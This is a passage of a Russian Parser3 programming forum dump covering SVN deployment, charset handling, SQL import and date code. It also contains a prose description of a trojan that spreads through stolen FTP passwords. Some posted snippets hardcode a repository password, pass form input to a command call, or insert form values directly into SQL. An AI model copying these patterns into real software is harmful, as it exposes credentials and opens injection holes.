"60007","Я этот троян у себя видел в трех вариантах:\
1. просто дописывается <script> в конец index.html - ошибки обычно не вызывает. =/\
2. index.html обрезается на половине и вставляется скрипт.\
3. index.html просто переписывается чистым indexом с трояном. Суки, это самый обидный вариант.. =(\
\
js код там простой, никаких спец-символов которые бы ue вызывали. =("
"60008","Где-то на сайте хостеров видел объявление.\
Троян. Подсаживается через фрейм на разлчных сайтах. Сканирует компьютер на предмет ftp паролей. Подключается к сайту/ам и дописывает iframe в index.htm{l} файлы. После чего ваш сайт тоже начинает рапространять трояна.\
Возможно это был zenon"
"60009","да, кстати, упомянутый знакомый хостится на зеноне.\
\
P.S. \"если тот (клиент) зашел на инфицированный сайт небезопасным браузером\" - самое время нчать использовать безопасный броузер :)"
"60010","Я вот только что справился! Залил правильного клиента SVN на хост. и написал оболочку на парсере, которая пока делает только 3 вещи: показывает help по командной строке, обновляет (update) проект и извлекает (checkout).\
\
Этого достаточно, чтоб сайт, выложенный из SVN закачать выборочно (только измененные файлы). Кому надо, пишите, отдам исходники.\
\
PS: может и велосипед изобрел, но я не нашел в инете ничего простого и понятного для этих целей :)"
"60012","Мне вот странно, как получилось у меня троян поймать, если я пользуюсь firefox'ом и сижу с постоянно обновляющимся анивирусом в трее.. =/"
"60013","нам это не мешает.\
кому мешает, исходники мы не прячем.\
пришлите ваш patch Мише."
"60014","1. Понимаю, что это как-то надо закрутить в класс.\
2. И выложить в SVN\
3. И еще много чего... писалось ночью на коленках, свою задуманную функцию выполняет :-)\
\
\
PS: Кто знает продукт, который это уже умеет делать причем при условии, что я к настройкам хостинг-сервера не имею никаких, кроме \
.htaccess, [i]пожалуйста[/i], подскажите!\
\
\
\
/auto.p\
[code]\
@auto[]\
#путь к клиенту svn\
$svn_path[/../svn/svn]\
#путь корня сайта, куда выкладывать документы\
$target_dir[/home/cursor/public_html]\
$repos_base_uri[http://OpenSVN.csie.org/cursor_web_site]\
#gfhjkm и логин\
$repos_pw[912]\
$repos_un[anton]\
#каталог на сайте, где лежит эта библиотека, лучше защитить через .htpasswd\
$lib_root[/VersionControl]\
\
@main[]\
^head[]\
<h1>SVN - ^greeting[]</h1>\
<p><a href=\"${lib_root}/\">Home</a><br>\
<a href=\"${lib_root}/help\">Help</a>\
</p>\
^body[]\
^footer[]\
\
@head[]\
<html>\
<head><title>SVN - ^greeting[]</title></head>\
<body>\
\
\
@footer[]\
<hr>\
  <b>Repositary:</b> $repos_base_uri<br>\
  <b>Target Dir:</b> $target_dir<br>\
\
</body>\
</html>\
[/code]\
\
\
\
\
/index.html\
[code]\
@greeting[]\
Home\
\
@body[]\
^command_navigation[]\
\
\
@command_navigation[] \
$help[^table::load[${lib_root}/cmd.cfg]] \
  <ul>\
    ^help.menu{ \
      ^command_navigation_cell[] \
    }[ :: ]\
  </ul>\
\
@command_navigation_cell[] \
 ^if($help.implemented eq \"*\"){\
  <li style=\"display:inline^;\">\
   <a href=${lib_root}/work/${help.command}.html>$help.command</a></li>\
}{\
  <li style=\"display:inline^;\">$help.command</li>\
}\
[/code]\
\
\
\
\
/help/index.html\
[code]\
@greeting[]\
Help\
\
@body[]\
^help_navigation[]\
$out[^file::exec[$svn_path;;help;$form:command]]\
<pre>\
$out.text\
</pre>\
\
\
@help_navigation[] \
$help[^table::load[${lib_root}/cmd.cfg]] \
  <ul>\
    <li style=\"display:inline;\"><a href=\"?\">..</a></li> ::\
    ^help.menu{ \
      ^help_navigation_cell[] \
    }[ :: ]\
  </ul>\
\
@help_navigation_cell[] \
<li style=\"display:inline;\"><a href=\"?command=$help.command\">$help.command</a></li>\
\
[/code]\
\
\
\
\
/work/checkout.html\
[code]\
@greeting[]\
Checkout\
\
@body[]\
^if(def $form:go){\
  $subpath[$form:subpath]\
\
  <b>Repositary:</b> ${repos_base_uri}${subpath}<br>\
  <b>Target Dir:</b> ${target_dir}${subpath}<br><br>\
\
  $out[^file::exec[$svn_path;;checkout;--username=$repos_un;--password=$repos_pw;${repos_base_uri}${subpath};${target_dir}${subpath}]]\
\
^if(def $out.text){\
<u>Text output:</u>\
<pre>\
  $out.text\
</pre>\
}\
\
^if(def $out.stderr){\
<u>Error:</u>\
<pre>\
  $out.stderr\
</pre>\
}\
\
}{\
\
<form>\
                             <br>\
  Rev: <input type=text size=5 name=rev>&nbsp^;\
  SubPath: <input type=text size=15 name=subpath><br>\
  <br>\
  <input type=submit name=go value=Checkout>\
</form>\
}\
[/code]\
\
\
ну и такой же /work/update.html\
только соответствующие места изменить.\
\
\
и еще..\
/cmd.cfg\
[code]\
id	command	implemented\
1	add\
2	blame\
3	cat\
4	checkout	*\
5	cleanup\
6	commit\
7	copy\
8	delete\
9	diff\
10	export\
11	help\
12	import\
13	info\
14	list\
15	lock\
16	log\
17	merge\
18	mkdir\
19	move\
20	propdel\
21	propedit\
22	propget\
23	proplist\
24	propset\
25	resolved\
26	revert\
27	status\
28	switch\
29	unlock\
30	update	*\
[/code]"
"60015","Добрый день. Есть вот такой XML файл.\
\
[code]\
<deposit id=\"207\">\
  <name>Название (name)</name> \
  <replenishment>1</replenishment> \
  <termsinterest>13</termsinterest> \
  <partly>1</partly> \
  <pension>0</pension> \
  <dop dopid=\"1\">\
    <sum>3</sum> \
    <term>12</term> \
    <currency>e</currency> \
    <rate>12.00</rate> \
  </dop>   \
  <dop dopid=\"2\">\
    <sum>3</sum> \
    <term>12</term> \
    <currency>e</currency> \
    <rate>12.00</rate> \
  </dop>  \
</deposit>\
[/code]\
\
Почему кусочек\
\
[code]\
$xdoc[^xdoc::load[тыры-мыры]]\
$node[^xdoc.selectSingle[/deposit/dop[dopid='1']]]\
^node.selectString[string(rate)]\
[/code]\
\
Выдает\
\
[code]\
selectString\
string method not found\
[/code]"
"60016","/deposit/dop[@dopid='1']"
"60017","у меня жена подобный вирус словила: заходит на сайт (оперой, могу дать ссылочку на сайт, но сейчас там что-то новенькое в source, но тоже похоже на вирус), ни фига не видно. ругается, думает что они переделали сайт и что он больше не показывается в опере, запускает ie (без последних заплаток, не ставлю их т.к. не пользуемся этим броузером), copy/paste урла и приехали... антивирус-монитор в трее не помог, последующее онлайн сканирование avp - тоже (свеженькая модификация была). попытка лечить руками у меня не удалась, в общем format c... теперь понятное дело больше его пускать никогда не будет.\
\
может и у вас был таки запуск ie?"
"60018","Коллеги, подскажите. Никак не могу понять. Все перерыл. \
Хочу сделать так же как в этом форуме. Для добавления сообщения, окрывается новое окно. После сабмита, сообщение обрабатывается и добаляется в базу. все ок. Но я хочу чтобы родительское окно со списком тредов после этого обновлялось, чтобы показать только что добавленное сообщение. а как.. подскажите, пожалуйста."
"60019","Что-то типа такого:\
[code]function reload_form() \
{ \
  window.opener.window.location.reload(); \
  window.opener.focus(); \
  window.close(); \
  return false; \
}[/code]"
"60020","раз уж решили переустановить виндовс, крайне рекомендую\
- не отключать более windows update\
- поставить бесплатный немецкий Avira Antivir\
- сделать свой аккаунт не-администраторским (а нужное запускать через \"Run As...\") - в Линуксе пользуемся sudo, а под Windows зачем себя вести по-другому?\
- делать раз в месяц бэкап всего диска на dvd Acronis'ом и хранить эти диски в другом месте."
"60021","а чего не хватает для сборки под 64bit? если аккаунта на сервере, то могу дать такой аккаунт"
"60022","- не стартующая больше винда - не насморк. пытаться её восстановить может оказаться дороже по времени.\
- отключение windows update - моя идеология, сорри. не люблю когда что-то ставится само без моего ведома. хотя... наверное надо полуавтопилот включить...\
- используемый антивирус - вопрос привычки. не важно какой он (главное чтобы систематически обновляемый). как я писал - для проверки использовалось 3 разных антивируса, не нашлось ничего. у упоминаемого тобой антивируса мне очень не нравится интерфейс, поэтому пользуюсьдругим.\
- не административный аккаунт? устаешь перелогиниваться, щас что не игрушка - то требует админских прав для установки.\
- бакапы были, данные не пострадали. было лишь потеряно время на переустановку."
"60023","т.к. нам (==нашим клиентам) не нужно -- мы не делаем. как кто-нить из наших клиентов захочет -- сделаем.\
если кому понадобиться, и он сделает и пришлет patch -- незамедлительно добавим."
"60024","у меня не получилось собрать parser под opensuse 10.1 x86 64bit c дефолтными настройками gc. поиск дал мне представление о том, что собрать парсер нативно под мою платформу - нужно будет пересобрать gc и еще наделать патчей к самому парсеру. парсера нет ни в одной системе автоматической дистрибуции (freebsd ports, apt, rpm). с таким отношением к пользователям - ваш продукт мертв. клиент, пришедший ко мне с другого хостинга, согласился отказаться от парсера."
"60025","1. [url=\"/examples/archive/\"]Класс для работы с архивами[/url] - спасибо BeaVe\
2. [url=\"http://www.kulikoff.net/parser3/img/\"]Работа с изображениями с использованием утилиты nconvert[/url] - спасибо Куликову Денису\
\
пЕшите есчО :)\
\
P.S. изменил порядок следования примеров, т.к. наверху были некоторые совсем неактуальные."
"60026","Пример про nconvert замечателен. Использую давно, но всё как-то топорно было.\
\
Кстати, там маленькая ошибка:\
$.sResizeType	- тип изменения размера \
  incr	: только уменьшение\
  decr	: только увеличение\
\
Здесь насколько я помню nconvert должно быть наоборот."
"60027","когда нужно написать что-то для себя -- это обычно пишется за небольшой промежуток времени, т.к. время на проработку интерфейсов методов, структурирование кода и т.д. тратить всем просто лень (и мне тоже).\
\
для того, чтобы привести код в порядок требуется время (пусть те кто присылал что-то для /examples/ скажут, сколько раз я отправлял код на доработку, а ведь я совсем не крут в программировании и отправляю фактически с банальными вещами).\
\
т.е. получается код, который недостаточно хорош, чтобы его выложить. но он, тем не менее, расползается по проектам (copy/paste рулит), и тут уже взять и переделать становится проблематично (нужна ведь обратная совместимость).\
\
в результате имеем: у кучи народа есть похожие куски, которые тем не менее совместимы лишь при помощи напильника."
"60028","Да, действительно, вкралась неточность :) Исправил, спасибо.\
\
Когда-то этот класс тоже был довольно топорным. Но, благодаря Мишиным советам, все стало значительно лучше :)"
"60029","Можно эксплорер под ограниченныем юзером стартовать.\
Миллиард решений. Много из вариантов не требует достановки лишнего софта. Просто надо подумать как будет удобнее и юзать."
"60034","в контекстном меню вылезет пункт \"Запуск от имени...\""
"60036","решил ещё раз попробовать Avira Antivir: первые впечатления на этот раз существенно лучше чем в прошлый (интерфейс стал лучше, хотя всё равно тормозной и раньше какой-то важной фичи не было, уже не помню какой именно, т.к. тестировал несколько разных антивирусов: или автоапдейта или нужно было периодически продлять лицензию или ещё что-то). \
\
оставил пока потестировать. после предыдущего (AVG) он нашел 16 подозрительных вещей, из них 5 - точно ложные срабатывания, 2 - непонятно по какой причине подозрительные (архивы с паролем...), остальные - нетестируемые AVG (\"вирус\" внутри писем которые в base64 или внутри exe-шников с расширением... zip. AVG у меня был настроен на тестирование файлов по расширению, как впрочем и тут настроен монитор по \"умолчанию\").\
\
P.S. Sanja - я у тебя в черном списке? несколько писем написал - в ответ тишина."
"60037","я пользуюсь такой конструкцией !\
[code]\
<body OnLoad = \"opener.history.go(0); self.close()\">\
[/code]"
"60039","Вернул на место раздел администрирования пользователей и исправил кое-какие ошибки.\
Адреса:\
Полная версия [url=\"http://parser.proc.ru/iso/com_070417.zip\"]http://parser.proc.ru/iso/com_070417.zip[/url]\
Без FCKEditor-а: [url=\"http://parser.proc.ru/iso/com_070417_noedit.zip\"]http://parser.proc.ru/iso/com_070417_noedit.zip[/url]"
"60040","Есть некий SQL-дамп, который надо импортировать. Крайне желательно сделать это только парcером без внешних вызовов. Есть способы?"
"60041","что нибудь вроде (старенький код из инстала \"мышки\")\
[code]\
@loadDump[sFile;sConnectString][fDump;tDump]\
 $fDump[^file::load[text;$sFile]]\
 $tDump[^_fDump.text.split[^;]]\
 ^tDump.menu{\
	^connect[$sConnectString]{\
		^if(^tDump.piece.pos[ ] > 0){^void:sql{^untaint{$tDump.piece}}}\
	}\
 }\
[/code]"
"60043","А что будет с большой?\
У меня парсером обновляется база данных товаров. Там около 6500 позиций."
"60045","тут -- win32. на win32, насколько я помню, этого бага нет. но возможно есть что-то другое. хотя это место всё равно будет немного переделываться, может исправится. но особо надеяться не стОит.\
\
увидел подобное сообщение на win, когда один процесс надолго заблокировал hashfile (открыл, записал и ждет), а другой процесс не смог до нео достучаться в течении ~ 10 сек.\
\
2agat:\
- скорее всего проблема в том, что один процесс надолго блокирует hashfile. надо писать в логи и искать что это за процесс и чем он занимается.\
- переделывать на работу с файликами мне лень, хотя в принципе там переделать просто: создаете в каталожке файл с именем == ключ, и периодически чистите. чтобы было проще чистить можно ещё типа индексный файл делать: YYYYMMDDHH.txt в который append выданные ключи."
"60046","и каково время обновления?\
а расход памяти?\
\
делать подобное парсером -- извращение, imho. проще написать .sh из трёх строк и забыть."
"60047","Я понимаю, что изврат. Но мне пришлось. На работе настраиваю магазин на Jooml-е, и периодически приходиться в него загружать прайс, который приходит от поставщиков в Excel-файле. PHP не справляеться - подыхает сразу: прбовал увиличивать и время для запросов SQL и что-то еще, но не помогает.\
\
Время работы приличное. Минуты полторы точно думает. Однако, для редкого импорта вполне подходит.\
\
С .sh не знаком, к сожалению. Да и сервак, который у меня на работе стоит (EServ) работает под виндой и мало чего поддерживает (Parser прикручивали несколько дней)."
"60048","[quot]\
С .sh не знаком, к сожалению\
[/quot]\
\
а с .bat/.cmd?\
в вашем случае надо (в случае mysql): получить файл, сформировать из него другой файл, который и загрузить с помощью load data infile. загрузка будет [b]в разы[/b] быстрее и без немеряного расхода памяти. формировать из одного большого файла другой лучше perl-ом (теми же regexp-ами в случае текстового файла, про xls не подскажу), парсер не особо подходит для ковыряния в больших файлах, он заточен несколько под другие задачи."
"60049","Насчет [b]load data infile[/b] - поищу информацию. никогда не пользовался.\
Насчет [b]Perl[/b]-а согласен.\
Parser я использую не только для импорта прайса в базу, но скрипт у меня попутно проверяет наличие картинок к товарам и выполняет всякие побочные расчеты. Как-то не хотелось вспоминать Perl."
"60050","потестил пару дней и откатился назад на AVG. в принципе то же самое по защите, однако есть важные для _меня_ отличия:\
\
- popup банеры, периодически выскакивающие при апдейтах. ненавижу.\
\
- сканирование в режиме Use smart extention у Antivir в 3 раза медленнее чем у AVG в режиме Scan all files, при этом на протестированной мной моей базе спама Avira Antivir обнаружил лищь одного вируса, которого не обнаружил AVG: WORM/Bagle, однако наличие этого вируса меня совершенно не напрягает -- он внутри архива с паролем, указанном в письме. очевидно я не буду открывать такой архив (я и письма-то этого не увижу), и файл сам умрет по истечении времени хранения в папочке 'spam'. Само время сканирования меня не напрягает, т.к. выполняется ночью, но это означает что и монитор работает медленнее.\
\
- большие и очень тормозные апдейты (за три дня ~ 3 MB, не считая первого семимегабайтного апдейта сразу после скачивания и установки. большой: бабушка с дачи по dialup-у -- упарится качать. тормозной: долго ждать пока закончится апдейт при первой загрузке компа).\
\
- интерфейс очень тормозной (не представляю как он ведет себя на медленных компах).\
\
P.S. всё это лишь моё мнение. никого ни на что не агитирую. у AVG мне тоже далеко не всё нравится."
"60051","12.03.2007 вышла новая версия [url=\"http://dklab.ru/lib/JsHttpRequest/\"]JsHttpRequest 5.0[/url], содержащая ряд субъективно полезных [url=\"http://dklab.ru/news/index.html#news55\"]изменений[/url].\
Текущий JSHttpRequest.p работает с версией 3.34.\
В связи с этим возникает мысль: а хорошо бы иметь такой класс под пятую версию...\
Я немного поправил имеющийся класс, но что-то с ходу оно не запустилось, видать не все так просто. Вот, прежде чем копать глубже, решил поинтересоваться: кто-нибудь уже занимался этим вопросом? действительно ли версия 5 лучше 3.34?"
"60053","как минимум нужно сделать что-то вроде такого:\
[code]\
#################################################################\
@auto[][tField]\
$tDecode[^self._getDecodeTable[]]\
$tField[^request:query.match[^^(.*)(?:&|^^)JsHttpRequest=(?:(\\d+)-)?([^^&]+)((?:&|^$).*)^$]]\
$sId[$tField.2]\
$sLoader[$tField.3]\
$hData[\
	$.script[\
		$.ctype[text/javascript]\
		$.prefix[JsHttpRequest.dataReady^(]\
		$.postfix[^)]\
	]\
	$.xml[\
		$.ctype[text/plain]\
		$.prefix[]\
		$.postfix[]\
	]\
	$.form[\
		$.ctype[text/html]\
		$.prefix[<script type=\"text/javascript\" language=\"JavaScript\"><!--\
			top && top.JsHttpRequestGlobal && top.JsHttpRequestGlobal.dataReady^(\
		]\
		$.postfix[^)//--></script>]\
	]\
	$._default[\
		$.ctype[text/plain]\
		$.prefix[]\
		$.postfix[]\
	]\
]\
#end @auto[]\
\
\
\
#################################################################\
@printResponse[sText;uVar]\
$result[$hData.$sLoader.prefix\
	{\
		'id':'$sId',\
		'js':^self._object2js[$uVar],\
		'text':'^taint[js][$sText]'\
	}\
	$hData.$sLoader.postfix\
]\
#end @printResponse[]\
[/code]"
"60054","Спасибо! Все получилось :)"
"60056","У меня на [url=\"http://parser.groundzero.ru\"]alt'е[/url] делается load data infile дампа форума, который содержит порядка 55к записей и весит в итоге около 31мб.\
И во второй табличке чуть меньше.\
\
Всё грузится очень шустро, фактически - незаметно.\
\
Я тут соврал, делаю такое не часто, и, конечно, не каждый день.\
\
Если хочется делать по привычке, то можно сгенерить подходящий дамп Парсером, который потом уже загрузить load data infile."
"60057","Проблема стандартная - как правильно работать с русским языком в ajax. В данном случае использую protorype.js, но и без него тоже самое.\
Господа, объясните идиоту раз и навсегда.\
Обычная функция:[code]\
function renameFile(newName, fileId) {\
  var url = 'renameFile.html';\
  var ajax = new Ajax.Updater(\
    {success: 'nFiles'},\
    url,\
    {method: 'get', parameters: {id: fileId, title: newName}}\
  );\
}[/code]\
\
и в renameFile.html предельно просто:\
[code]\
$id[^form:id.int(0)]\
^void:sql{update files set title = '$form:title' where id = $id}\
..и функция возвращающая html с обновленным списком файлов.\
[/code]\
\
Как сделать чтобы сюда отправлялся русский текст? Вот скрин запроса в firebug: [url=\"http://dolboeb.ru/ajaxparams.jpg\"]ajaxparams.jpg[/url]"
"60058","Сделал путем escape() в js и replace в парсере, но это как-то напильником..\
Может как-то можно правильно это сделать?"
"60060","так не получается?\
\
[code]\
$sOldCharset[$response:charset]\
$response:charset[UTF-8]\
$sTitle[$form:title]\
$response:charset[$sOldCharset]\
[/code]\
\
P.S. домен прикольный, может если его сменить - получится? %-) [шутка]"
"60061","раз уж вопрос зашел, как лучше всего с помощью Paraser генерить SQL-дамп?"
"60064","Домен волшебный, на нём как раз всё всегда получается! =)\
Спасибо, всё получилось, я счастлив!"
"60065","..я почему-то всегда упорно думал, что $response:charset влияет на документ в целом.\
Такое использование мне в голову не пришло.. =/"
"60066","он влияет не на документ в целом, а на то как парсер обменивается данными с внешним миром: делает он это в $response:charset. т.е. он выдает все наружу в этой кодировке и ожидает что ему придёт всё в ней-же.\
\
при обращении к $form происходит проверка -- при последнем заполнении элементов $form кодировка была равна текущей? если да, то просто достаются данные, если нет - происходит перезаполнение их на основании текущей кодировки. \
\
т.е. это что-то вроде хака, не сказать что быстрого, поэтому злоупотреблять не стОит."
"60067","Здравствуйте!\
Возможно, пишу не совсем по теме, но все же прошу помочь!\
Знаний по программированию у меня практически нет, и поэтому возник вопрос, возможно для кого-то он покажется глупым, я стал учиться по представленному здесь учебнику, и сразу же у меня возникла проблема это вывод текста. \
Если следовать инструкции все легко и просто, и можно придумывать все самому, но все-таки нужно создавать, как я понял, некие страницы типа \"index.html\". Вот меня и интересует, что нужно написать там, исходя из первого урока учебника \"меню навигации\", надеюсь, что после вашего пояснения я смогу продолжить дальше познавать данный язык!\
\
И еще раз сформулирую просьбу: введите полностью текст страницы \"index.html\" для первого урока."
"60068","не сделав его вы не сможете двигаться дальше, поэтому настоятельно рекомендуется перечитать его несколько раз и выполнить таки самому.\
\
P.S. в Apache Swissknife включен готовый первый урок."
"60069","Итак, все файлы на сервере лежат в UTF-8.\
Данные в базе данных в windows-1251, сайт работает тоже в windows-1251.\
Соотв-но я прописал в auto.p\
[code]\
$request:charset[utf-8]\
$response:charset[windows-1251]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
[/code]\
А в xml-прологе:\
[code]\
<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
[/code]\
\
И все прерасно работало, до тех пор пока я не попытался обработать данные, получаемые из БД. Если я применяю к ним метод mid или left (мне нужно обрезать строку), то получаю ошибку:\
Input is not proper UTF-8, indicate encoding !\
Но если я убираю метод left, то ошибки нет. Почему так?\
[code]\
$authors[^table::sql{select id, name, title from authors}]\
<authors-list count=\"^authors.count[]\">\
^authors.menu{\
<item id=\"$authors.id\" name=\"$authors.name\">^authors.title.left(10)</item>\
}\
</authors-list>\
[/code]"
"60070","Проблем меньше будет. Сталкивался с таким."
"60071","к сожалению парсер пока не умеет выполнять некоторые операции со строками (left, right, mid) если буквы в кодировке utf-8 :(\
\
в вашем случае можно воспользоваться функцией LEFT SQL сервера."
"60072","и использовать ?charset=UTF8\" в коннекте вместо $request:charset[utf-8] - невозможно.\
\
первая инструкция говорит _mysql_серверу_ (4+) что мол в какой бы кодировке ты не хранил данные -- мне их отдавай в utf-8\
\
вторая лбычно задается в конфигурационном auto.p и с помощью неё мы сообщаем _парсеру_, что все буквы в файликах у нас в utf-8\
\
обычно, если указан такой request charset то указывается и ?charset, но не \"или... или\""
"60073","Тогда все работает"
"60074","LEFT не помогает -(\
[code]\
$authors[^table::sql{select id, name, left(title, 5) as title from authors}]\
<authors-list count=\"^authors.count[]\">\
^authors.menu{\
<item id=\"$authors.id\" name=\"$authors.name\">$authors.title</item>\
}\
</authors-list>\
[/code]\
Более того, ошибка выскакивает не всегда. Она каким-то образом зависит от количества обрезаемых символов.\
\
Еще я не понял кто прав, вы пишите что Parser не умеет работать со строками в кодировке UTF-8, а Anti пишут, что если данные в базе были бы в кодировке UTF-8 то проблем бы не было. По-моему оба утверждения противоречат друг другу."
"60075","Нужно ли мне указать кодировке в строке подключения к БД?"
"60076","пишу код\
\
^if(def $form:surname && def form:name && def form:year_in && def $form:spec && def $form:educ_type && def $form:course && def $form:group){\
   ^connect[$connect_string]{\
      ^void:sql{INSERT INTO students\
         (surname, name, year_in, spec, educ_type, course, group)\
      VALUES \
         ('$form:surname', '$form:name', '$form:year_in','$form:spec', '$form:educ_type', '$form:course', '$form:group')\
      }\
      …сообщение добавлено ^show_all[]\
      }\
\
а когда запускаю пишет - \
INSERT INTO students (surname, name, year_in, spec, educ_type, course, group) VALUES ('цй', 'уцйуйц', '123','йцу', 'фыв', '1', '2')\
\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group)\
      VALUES \
         ('цй', 'уцйуйц', '123','йцу', 'фыв\
\
u:/home/yand.ru/www/auto.p(95:13)\
\
подскажите, что делать?"
"60077","хм, при LEFT ошибки быть не должно, т.к. согласно MySQL документации там работа идет с символами.\
\
[quot]\
ошибка выскакивает не всегда\
[/quot]\
\
конечно. в случае, если \"разрез\" попадает на правильную границу буквы ошибки не будет.\
например если вы делаете .left(...) у текста, содержащего только английские буквы.\
или если вы делаете например .left(4) в то время, как у вас в начате текста только русские буквы. русские буквы в utf8 == 2 байта на букву, разрез придется на границу букв после второй. \
\
[quot]\
Еще я не понял кто прав\
[/quot]\
\
я считаю что прав я :)\
то, в какой кодировке буквы лежат в БД, для работы парсерного метода .left() совершенно не важно. вы их получили в UTF-8. некоторые методы работы со строками пока работать с UTF-8 не умеют. точка.\
\
соотв. для вас главный вопрос: как это обойти. я предлагаю сделать это средствами MySQL. однако это может быть неприемлемо например с MySQL 3, т.к. он тоже в left()имел в виду байты, а не символы, т.е. работать не умел. расскажите что у вас за версия MySQL (show variables, и кроме версии покажите все опции с \"charset\" в их названии) - будем думать дальше."
"60078","давайте продолжать в [url=\"/forum/?id=60075\"]другом треде[/url] :)"
"60079","поищите в Google \"MySQL reserved words\".\
\
Или, как альтернатива, заключайте такие названия в обратные кавычки (backticks."
"60080","никак не получается сделать.. хэлпп"
"60081","[code]\
$dtNow[^date::now[]]\
$dtBirth[^date::create(1983;04;28)]\
$iAgeDays($dtNow - $dtBirth)\
возраст: ^eval($iRes \\ 365)\
[/code]"
"60082","даужж..."
"60083","Бывает ещё олимпиада раз в 4 года ;)\
\
[code]\
@yearLeft[birth][now;daysLeft;bissextileYears]\
$now[^date::now[]]\
\
$daysLeft($now - $birth)\
\
$bissextileYears(0)\
^for[year]($birth.year;$now.year){\
	^if((($year % 4 == 0) && ($year % 100 != 0)) || ($year % 400 == 0)){\
		$bissextileYears($bissextileYears + 1)\
	}\
}\
\
$daysLeft($daysLeft - ($bissextileYears * 366))\
\
$result($bissextileYears + ($daysLeft / 365))\
[/code]"
"60085","MySQL Enterprise Server 5.0.27\
\
character_set_client cp1251 \
character_set_connection cp1251 \
character_set_database cp1251 \
character_set_filesystem binary \
character_set_results cp1251 \
character_set_server cp1251 \
character_set_system utf8 \
character_sets_dir /usr/local/share/mysql/charsets/"
"60086","года рождения бывают и до 1970 года ;-)\
\
P.S. я бы таким извращение не занимался. я бы вычел из сейчас.год др.год, и добавил бы 1 если (сейчас.месяц > др.месяц || (сейчас.месяц == др.месяц && сейчас.день > др.день)). а все эти создания date для подобных задач т учёт високосных годов - от лукавого %-)"
"60087","или даже 50ти летнего\
который вывалит сервак в exception\
поэтому если уж работаете с др идите ка в примеры и скачивайте отличнейший класс для работы с датами расширенного диапазона и пользуйтесь его встроенным методом daysbetween"
"60090","Помогите, пожалуйста, понять, почему обрабатывается только первая запись .menu при рекурсивном построении дерева подчиненных сотрудников?\
\
Имеется стандартная таблица пользователей (с полями auser_id и parent_id).\
\
Была написана следующая функция на Парсер3, задача которой вывести поддерево подчиненных конкретного сотрудника.\
\
\
[code]\
@getSubTree[uid;subtree]\
\
^if(def $uid){\
^connect[$MAIN:connect-string]{\
	$children[^table::sql{SELECT auser_id, parent_id, status FROM auser WHERE parent_id = '$uid'}]\
\
	^if(def $children){\
\
	^if(def $subtree){\
		^subtree.join[$children]\
		}{\
		$subtree[$children]\
		}\
\
	^children.menu{\
		$subtree[^getSubTree[$children.auser_id;$subtree]]\
	}\
\
\
	}\
}\
}\
\
$result[$subtree]\
[/code]\
\
В результате работы этой ф-ции выводятся подчиненные только по одной ветке. Про остальных \"детей\" парсер забывает.\
\
Ради интереса закомментировал\
\
#	^children.menu{\
#	}\
\
Ничего не изменилось.\
\
Почему так может быть? Кто с подобным сталкивался?"
"60091","Вобщем надо вывести 380000 как 380 000, или 3800000 как 3 800 000.\
\
Только не знаю как."
"60095","Обновил [url=\"http://www.parser.ru/examples/mdate/\"]класс для форматированного вывода двух дат[/url]\
\
Работать можно, предварительно создав объект:\
[code]\
$oMdate[^Mdate::create[\
	^rem{ *** Тип вывода, может быть html или xml *** }\
	$.sMode[html]\
	^rem{ *** Форматные строки: *** }\
	$.sFormatString[%o / %n]\
	$.sDtfFormatString[%d.%m.%Y %H:%M]\
	$.sDtfLocale[rr-locale]\
	^rem{ *** Обертка для свежей даты: *** }\
	$.sNewTagName[font]\
	$.sNewAttributes[color=\"#CC0000\"]\
	^rem{ *** Обертка для старой даты (отсутствует, если не определена явно): *** }\
	$.sOldTagName[font]\
	$.sOldAttributes[color=\"#CCCCCC\"]\
	^rem{ *** Обертка для всего вывода *** }\
	$.sCanvasTagName[]\
	$.sCanvasAttributes[]\
	^rem{ *** Дата, начиная с которой дата считается свежей *** }\
	$.dtLimit[^date::now(-1)]\
]]\
^oMdate.print[$dt1;$dt2]\
[/code]\
\
Также можно работать, как со статическим классом:\
[code]\
$Mdate:sMode[xml]\
$Mdate:sDtfLocale[ri-locale]\
^Mdate:print[$dt1;$dt2]\
[/code]\
\
Если в качестве типа вывода используется XML, то свежая дата по-умолчанию заключается в тег <new>, а старая, соответственно, в тег <old>\
\
[b]Код класса:[/b]\
\
\
[code]\
@CLASS\
Mdate\
\
\
\
@USE\
dtf.p\
\
\
\
@auto[]\
^self.declareVariables[]\
# end @auto[]\
\
\
\
@create[hParams]\
^self.declareVariables[$hParams]\
# end @create[]\
\
\
\
@declareVariables[hParams]\
$hParams[^hash::create[$hParams]]\
^if(def $hParams.sMode && ^hParams.sMode.lower[] eq \"xml\"){\
	$sMode[xml]\
}{\
	$sMode[html]\
}\
^rem{ *** Форматные строки *** }\
^if(def $hParams.sFormatString){\
	$sFormatString[$hParams.sFormatString]\
}{\
	$sFormatString[%o / %n]\
}\
^if(def $hParams.sDtfFormatString){\
	$sDtfFormatString[$hParams.sDtfFormatString]\
}{\
	$sDtfFormatString[%d.%m.%Y %H:%M]\
}\
^if(def $hParams.sDtfLocale){\
	^dtf:setLocale[$dtf:[$hParams.sDtfLocale]]\
}\
\
^rem{ *** Обертка для свежей даты *** }\
^if(def $hParams.sNewTagName){\
	$sNewTagName[$hParams.sNewTagName]\
}{\
	$sNewTagName[font]\
}\
^if(def $hParams.sNewAttributes){\
	$sNewAttributes[$hParams.sNewAttributes]\
}{\
	$sNewAttributes[color=\"#CC0000\"]\
}\
\
^rem{ *** Обертка для старой даты *** }\
^if(def $hParams.sOldTagName){\
	$sOldTagName[$hParams.sOldTagName]\
}\
^if(def $hParams.sOldAttributes){\
	$sOldAttributes[$hParams.sOldAttributes]\
}\
\
^rem{ *** Обертка для всего вывода *** }\
$sCanvasTagName[$hParams.sCanvasTagName]\
$sCanvasAttributes[$hParams.sCanvasAttributes]\
\
^rem{ *** Дата, начиная с которой дата считается свежей *** }\
^if(def $hParams.dtLimit){\
	$dtLimit[^dtf:create[$hParams.dtLimit;^date::now(-1)]]\
}{\
	$dtLimit[^dtf:create[^date::now(-1)]]\
}\
# end @declareVariables[]\
\
\
\
@print[dt1;dt2][result]\
$dt1[^dtf:create[$dt1]]\
^if(def $dt2){\
	$dt2[^dtf::create[$dt2]]\
}\
^if(def $self.sCanvasTagName){\
	^_printTag[^_printDate[$dt1;$dt2];$self.sCanvasTagName;$self.sCanvasAttributes]\
}{\
	^_printDate[$dt1;$dt2]\
}\
# end @print[]\
\
\
\
@_printDate[dt1;dt2]\
^if(!def $dt2 || $dt1 == $dt2){\
	$result[^_printDateString[$dt1]]\
}{\
